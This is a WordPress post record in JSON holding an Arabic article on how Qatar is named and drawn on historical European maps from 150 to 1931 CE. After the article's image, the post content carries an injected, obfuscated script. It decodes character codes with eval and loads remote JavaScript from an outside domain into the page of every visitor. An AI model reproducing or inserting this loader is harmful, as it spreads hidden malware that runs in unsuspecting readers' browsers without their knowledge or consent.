{"id":99177,"date":"2023-08-02T13:45:46","date_gmt":"2023-08-02T13:45:46","guid":{"rendered":"https:\/\/worldofculture2020.com\/?p=99177"},"modified":"2023-08-02T13:45:46","modified_gmt":"2023-08-02T13:45:46","slug":"%d9%82%d8%b7%d8%b1-%d9%81%d9%8a-%d8%a7%d9%84%d8%ae%d8%b1%d8%a7%d8%a6%d8%b7-%d8%a7%d9%84%d8%ac%d8%ba%d8%b1%d8%a7%d9%81%d9%8a%d8%a9-%d9%88%d8%a7%d9%84%d8%aa%d8%a7%d8%b1%d9%8a%d8%ae%d9%8a%d8%a9-150-2","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=99177","title":{"rendered":"\u0642\u0637\u0631 \u0641\u064a \u0627\u0644\u062e\u0631\u0627\u0626\u0637 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a\u0629 \u0648\u0627\u0644\u062a\u0627\u0631\u064a\u062e\u064a\u0629 (150 \u2013 1931\u0645)"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #0000ff; font-size: 10pt;\"><strong>\u062f.\u0645\u062d\u0645\u0648\u062f \u0631\u0645\u0636\u0627\u0646 | \u0645\u062f\u064a\u0631 \u0645\u064e\u0631\u0651\u0643\u064e\u0632\u064f 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10pt;\">\u0648\u0627\u0633\u062a\u0645\u0631 \u0638\u0647\u0648\u0631 \u0634\u0628\u0647 \u062c\u0632\u064a\u0631\u0629 \u0642\u0637\u0631 \u0628\u0630\u0627\u062a \u0627\u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a \u0648\u0627\u0644\u0631\u0645\u0632 \u0625\u0644\u064a\u0647 \u0628\u0634\u0643\u0644 \u0627\u0644\u0646\u062a\u0648\u0621 \u0627\u0644\u0628\u0627\u0631\u0632 \u0641\u064a \u0627\u0644\u062e\u0644\u064a\u062c\u060c \u0643\u0645\u0627 \u0641\u064a \u062e\u0631\u064a\u0637\u0629 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a \u0644\u0627\u0646\u062c\u0631\u064a\u0646 Langren \u0641\u064a \u0633\u0646\u0629 1005 \u0647\/ 1796\u0645\u060c \u062d\u064a\u062b \u0623\u0637\u0644\u0642 \u0639\u0644\u0649 \u0642\u0637\u0631 \u0627\u0633\u0645 \u0642\u0627\u0637\u0648\u0631\u0627 Catura \u060c \u0648\u0643\u0630\u0644\u0643 \u0641\u064a \u062e\u0631\u0627\u0626\u0637 \u0628. \u0644\u0646\u062c\u0646\u0632 B. Langenes \u0641\u064a \u0633\u0646\u0629 1025\u0647\u0640\/ 1616\u0645\u060c \u0648\u0647\u0646\u062f\u0648\u0633 \u0648\u0628\u0631\u062a\u0648 Hondius and Bertius \u0628\u0627\u0645\u0633\u062a\u0631\u062f\u0627\u0645 \u0641\u064a \u0633\u0646\u0629 1025\u0647\u0640\/ 1616\u0645\u060c \u0623\u0645\u0627 \u062e\u0631\u064a\u0637\u0629 \u062c\u0627\u0646 \u062c\u0648\u0646\u0633\u0646 Jan Jansson \u0641\u064a 977- 1075 \u0647\u0640\/ 1588 &#8211; 1664\u0645 \u0641\u0642\u062f \u062a\u063a\u064a\u0651\u0631 \u0628\u0647\u0627 \u0635\u064a\u063a\u0629 \u0627\u0633\u0645 \u0642\u0637\u0631 \u0625\u0644\u0649 \u0642\u0637\u0627\u0631\u0627 Catara \u0648\u0631\u0645\u0632 \u0625\u0644\u064a\u0647\u0627 \u0628\u062d\u0635\u0646 \u0643\u0628\u064a\u0631 \u0645\u062b\u0644 \u0627\u0644\u062d\u0635\u0646 \u0627\u0644\u0630\u064a \u0638\u0647\u0631 \u0645\u0646 \u0642\u0628\u0644 \u0641\u064a \u062e\u0631\u064a\u0637\u0629 \u0644\u0627\u0632\u0627\u0631\u0648 \u0644\u0648\u064a\u0633 \u0641\u064a \u0633\u0646\u0629 970 \u0647\u0640\/ 1563\u0645.<\/span><br \/>\n<span style=\"font-size: 10pt;\">\u0623\u0645\u0627 \u062e\u0631\u0627\u0626\u0637 \u0627\u0644\u0641\u0631\u0646\u0633\u064a \u0627\u0644\u0634\u0647\u064a\u0631 \u0646\u0642\u0648\u0644\u0627\u0633 \u0633\u0627\u0646\u0633\u0648\u0646 Nicolas Sanson (1600 &#8211; 1667\u0645) \u0648\u0645\u0646\u0647\u0627 \u062e\u0631\u064a\u0637\u0629 \u0631\u0633\u0645\u062a \u0641\u064a \u0633\u0646\u0629 1063\u0647\u0640\/ 1652\u0645\u060c \u0641\u0642\u062f \u0638\u0647\u0631 \u0627\u0644\u0646\u062a\u0648\u0621 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a \u0644\u0634\u0628\u0647 \u062c\u0632\u064a\u0631\u0629 \u0642\u0637\u0631 \u0641\u064a \u0627\u0644\u062c\u0647\u0629 \u0627\u0644\u0645\u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u0628\u062d\u0631\u064a\u0646 \u0648\u0647\u0648 \u0645\u0627 \u064a\u0645\u0627\u062b\u0644 \u0627\u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a \u0627\u0644\u062d\u0627\u0644\u064a \u0644\u0642\u0637\u0631\u060c \u0648\u0641\u064a \u062e\u0631\u064a\u0637\u0629 \u0623\u062e\u0631\u0649 \u0631\u0633\u0645\u062a \u0641\u064a \u0633\u0646\u0629 1065 \u0647\u0640\/ 1654\u0645\u060c \u0638\u0647\u0631 \u0627\u0644\u0646\u062a\u0648\u0621 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a \u0627\u0644\u0645\u0645\u064a\u0632 \u0644\u0634\u0628\u0647 \u062c\u0632\u064a\u0631\u0629 \u0642\u0637\u0631 \u0628\u0627\u0644\u062e\u0644\u064a\u062c \u0627\u0644\u0639\u0631\u0628\u064a \u0623\u064a\u0636\u0627\u064b.<\/span><br \/>\n<span style=\"font-size: 10pt;\">\u0648\u0641\u064a \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0642\u0631\u0646 \u0627\u0644\u0639\u0627\u0634\u0631 \u0627\u0644\u0647\u062c\u0631\u064a\u060c \u0627\u0644\u0633\u0627\u062f\u0633 \u0639\u0634\u0631 \u0627\u0644\u0645\u064a\u0644\u0627\u062f\u064a \u0643\u0627\u0646 \u0627\u0644\u062e\u0644\u064a\u062c \u0648\u062f\u0648\u0644\u0647 \u0639\u0644\u0649 \u0645\u0648\u0639\u062f \u0645\u0639 \u062e\u0637\u0648\u0629 \u062c\u062f\u064a\u062f\u0629 \u0641\u064a \u0631\u0633\u0645 \u0627\u0644\u062e\u0631\u0627\u0626\u0637 \u0648\u062a\u0633\u062c\u064a\u0644 \u0645\u0639\u0627\u0644\u0645 \u062a\u0644\u0643 \u0627\u0644\u0645\u0646\u0637\u0642\u0629\u060c \u0648\u0630\u0644\u0643 \u0639\u0644\u0649 \u064a\u062f \u0627\u0644\u0647\u0648\u0644\u0646\u062f\u064a \u062c\u0627\u0646 \u0647\u0627\u0648\u062e\u0646 \u0641\u0627\u0646 \u0644\u0646\u0633\u062e\u0648\u062a\u0646 \u0627\u0644\u0630\u064a \u0643\u0627\u0646 \u064a\u0639\u0645\u0644 \u0644\u0635\u0627\u0644\u062d \u0627\u0644\u0628\u0631\u062a\u063a\u0627\u0644 \u0641\u064a \u0627\u0644\u0647\u0646\u062f\u060c \u0648\u0645\u0646 \u0628\u0639\u062f\u0647 \u064a\u0648\u062d\u0646\u0627 \u0641\u0646\u0643\u0628\u0648\u064a\u0632 Vingboons 1071 \u0647\u0640\/ 1660 \u0645\u060c \u062d\u064a\u062b \u0638\u0647\u0631\u062a \u0634\u0628\u0647 \u062c\u0632\u064a\u0631\u0629 \u0642\u0637\u0631 \u0642\u0637\u0627\u0631\u0627 Catara \u0641\u064a \u062e\u0631\u0627\u0626\u0637\u0647\u0645 \u0639\u0644\u0649 \u0646\u0641\u0633 \u0627\u0644\u0646\u0633\u0642 \u0627\u0644\u0630\u064a \u0638\u0647\u0631\u062a \u0628\u0647 \u0645\u0646 \u0642\u0628\u0644 \u0641\u064a \u062e\u0631\u0627\u0626\u0637 \u0644\u0627\u0632\u0627\u0631\u0648 \u0644\u0648\u064a\u0633\u060c \u0648\u0642\u062f \u0623\u0643\u0645\u0644 \u062c\u0627 \u062a\u0643\u0633\u064a\u0631\u0647 \u0627\u0644\u0628\u0627\u0631\u0646\u0627\u0632 1108 \u0647\u0640\/ 1696 \u0645 \u0641\u064a \u062e\u0631\u0627\u0626\u0637\u0647 \u0631\u0633\u0645 \u0642\u0637\u0631 \u0643\u0634\u0628\u0647 \u062c\u0632\u064a\u0631\u0629 \u0623\u064a\u0636\u0627\u064b.<\/span><br \/>\n<span style=\"font-size: 10pt;\">\u0648\u0644\u0645 \u062a\u062e\u0631\u062c \u062e\u0631\u0627\u0626\u0637 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a \u062c\u0648\u0646 \u0628\u0644\u0627\u0648 Joan Blaeu 1072 \u0647\u0640\/ 1662 \u0645 \u0627\u0644\u0630\u064a \u0639\u0645\u0644 \u0644\u0635\u0627\u0644\u062d \u0634\u0631\u0643\u0629 \u0627\u0644\u0647\u0646\u062f \u0627\u0644\u0634\u0631\u0642\u064a\u0629 (1638\u0647\u0640\/ 1673 \u0645)\u060c \u0648\u062e\u0631\u064a\u0637\u0629 \u0641\u0627\u0644\u064a\u0645\u0644\u064a\u0646\/ \u0641\u0627\u0646 \u0643\u0648\u0644\u064a\u0646 Valemlyn Van Keulen \u0641\u064a \u0633\u0646\u0629 1112 \u0647\u0640\/ 1700\u0645\u060c \u0639\u0644\u0649 \u0630\u0643\u0631 \u0627\u0633\u0645 \u0642\u0637\u0631 (\u0642\u0637\u0627\u0631\u0627(Catara \u0625\u0644\u0627 \u0623\u0646 \u062e\u0631\u064a\u0637\u0629 \u0627\u0644\u0641\u0631\u0646\u0633\u064a \u0645\u0648\u0631\u062a\u064a\u0647 &#8211; \u062c\u0627\u0628\u064a\u0648\u0647 Mortier \u2013 Jaillot \u0627\u0644\u0628\u062d\u0631\u064a\u0629 \u0648\u0647\u064a \u0646\u0633\u062e\u0629 \u0645\u0639\u062f\u0644\u0629 \u0645\u0646 \u062e\u0631\u064a\u0637\u0629 \u0628\u062d\u0631\u064a\u0629 \u0641\u0631\u0646\u0633\u064a\u0629 \u0637\u0628\u0639\u062a \u0641\u064a \u0647\u0648\u0644\u0646\u062f\u0627\u060c \u0642\u062f \u0633\u062c\u0644\u062a \u0627\u0633\u0645 \u0642\u0637\u0631 \u0628\u0635\u064a\u063a\u0629 \u0642\u0627\u0637\u0648\u0631\u0627 Catura \u0648\u0642\u0637\u0631\u0627 Catra .<\/span><br \/>\n<span style=\"font-size: 10pt;\">\u0648\u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0641\u0642\u062f \u0648\u0631\u062f\u062a \u0642\u0637\u0631 \u0628\u0623\u0633\u0645\u0627\u0621 \u0645\u062a\u0639\u062f\u062f\u0629 \u062e\u0644\u0627\u0644 \u0627\u0644\u0641\u062a\u0631\u0629 \u0645\u0646 150\/ 1350 \u0647\u0640- 1931\u0645) \u0646\u0630\u0643\u0631 \u0645\u0646\u0647\u0627 \u0648\u0641\u0642\u0627\u064b \u0644\u0644\u062d\u0635\u0631 \u0627\u0644\u0630\u064a \u0648\u0631\u062f \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u062f\u0631\u0627\u0633\u0629\u060c \u0643\u0645\u0627 \u064a\u0644\u064a: (\u0643\u064e\u0637\u064e\u0631\u064e\u0629 \u0623\u0648 \u0643\u0637\u0652\u0631\u064e\u0629 \u0623\u0648 \u0642\u0637\u0627\u0631\u0627 Catara) \u060c \u0645\u062f\u064a\u0646\u0629 \u0642\u0637\u0631 SiDa Dc Dc catar \u060c \u0642\u0637\u0631 Catar \u060c \u0642\u0627\u0637\u0648\u0631\u0627 Catura \u060c \u0642\u0637\u0627\u0631\u0627 Catara \u060c \u0648\u0631\u0645\u0632 \u0625\u0644\u064a\u0647\u0627 \u0628\u0642\u0644\u0639\u0629 \u0630\u0627\u062a \u0623\u0631\u0628\u0639\u0629 \u0623\u0628\u0631\u0627\u062c\u060c \u0642\u0637\u0631 QTAR \u060c \u0648\u0628\u0648\u0627\u0628\u0629 \u0642\u0637\u0631 CATAR AGADS\u060c \u0642\u0637\u0631\u0627 Catra \u060c \u0643\u0627\u062a\u0648\u0631\u064a\u0627 \u0623\u0648 \u0642\u0627\u0637\u0648\u0631\u064a\u0627 Catarei\u060c \u0642\u0637\u0627\u0631\u0627 Catara \u0648\u0642\u0627\u0637\u0631\u0646\u0627 \u0623\u0648 \u0642\u0637\u0631\u0646\u0627 Caterna \u060c \u0643\u062a\u0627\u0631\u0627 \u0623\u0648 \u0642\u0637\u0627\u0631\u0627 Katara \u060c \u062c\u062a\u0631 Gattar \u060c \u0642\u0627\u0637\u0648\u0631\u0627\u0643 katurak \u060c \u0639\u0642\u064a\u0631 Aigar \u060c \u0642\u0637\u0631\u060c \u0642\u0637\u0627\u0631\u0627Cadara \u060c \u0627\u0644\u0642\u0637\u0631 EL-QATAR \u060c \u0642\u0637\u0631 \u0628\u0635\u064a\u063a\u062a\u0647\u0627 \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u060c \u0642\u0637\u0631 QATTAR\u060c \u0634\u0628\u0647 \u062c\u0632\u064a\u0631\u0629 \u0642\u0637\u0631 pe,ninsule Pen. de Katar\u060c \u0648\u0642\u0637\u0631QATAR.<\/span><br \/>\n<span style=\"font-size: 10pt;\">\u0643\u0645\u0627 \u0638\u0647\u0631\u062a \u0628\u0639\u0636 \u0623\u0633\u0645\u0627\u0621 \u0627\u0644\u0645\u062f\u0646 \u0627\u0644\u0642\u0637\u0631\u064a\u0629 \u0627\u0644\u0634\u0647\u064a\u0631\u0629 \u062e\u0644\u0627\u0644 \u0627\u0644\u0642\u0631\u0646 \u0627\u0644\u062d\u0627\u062f\u064a \u0639\u0634\u0631 &#8211; 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\u0648\u0632\u0627\u0631\u0629 \u0627\u0644\u0639\u062f\u0644 \u0628\u062f\u0648\u0644\u0629 \u0642\u0637\u0631 \u0628\u062a\u0627\u0631\u064a\u062e 18\/07\/2010\u0645 &#8211; \u0631\u0642\u0645 \u0627\u0644\u0625\u064a\u062f\u0627\u0639 :700 \/ \u062d \u0645 \u062d \u0645\u060c \u0627\u0633\u0645 \u0627\u0644\u0645\u0635\u0646\u0641: \u0642\u0637\u0631 \u0641\u064a \u0627\u0644\u062e\u0631\u0627\u0626\u0637 \u0627\u0644\u062c\u063a\u0631\u0627\u0641\u064a\u0629 \u0648\u0627\u0644\u062a\u0627\u0631\u064a\u062e\u064a\u0629\u060c \u0645\u0627\u0644\u0643 \u0627\u0644\u0645\u0635\u0646\u0641: \u0645\u062d\u0645\u0648\u062f \u0631\u0645\u0636\u0627\u0646 \u0639\u0628\u062f\u0627\u0644\u0639\u0632\u064a\u0632 \u062e\u0636\u0631\u0627\u0648\u064a ).<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2023\/07\/IMG_\u0662\u0660\u0662\u0663\u0660\u0667\u0662\u0668_\u0660\u0662\u0662\u0669\u0663\u0664-300x245.jpg\" alt=\"\" width=\"300\" height=\"245\" \/><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u062f.\u0645\u062d\u0645\u0648\u062f \u0631\u0645\u0636\u0627\u0646 | \u0645\u062f\u064a\u0631 \u0645\u064e\u0631\u0651\u0643\u064e\u0632\u064f \u0627\u0644\u062e\u064e\u0644\u0650\u064a\u062c\u064e \u0644\u0644\u0628\u064f\u062d\u0648\u062b\u0650 \u0648\u064e\u0627\u0644\u062f\u0651\u0631\u064e\u0627\u0633\u064e\u0627\u062a\u0650 \u0627\u0644\u062a\u064e\u0651\u0627\u0631\u0650\u064a\u062e\u064a\u064e\u0651\u0629\u0650 _\u062e\u0628\u064a\u0631 \u0627\u0644\u0622\u062b\u0627\u0631 \u0648\u0627\u0644\u0639\u0645\u0627\u0631\u0629 \u0627\u0644\u0625\u0633\u0644\u0627\u0645\u064a\u0629 \u0643\u062a\u0627\u0628 &#8221; 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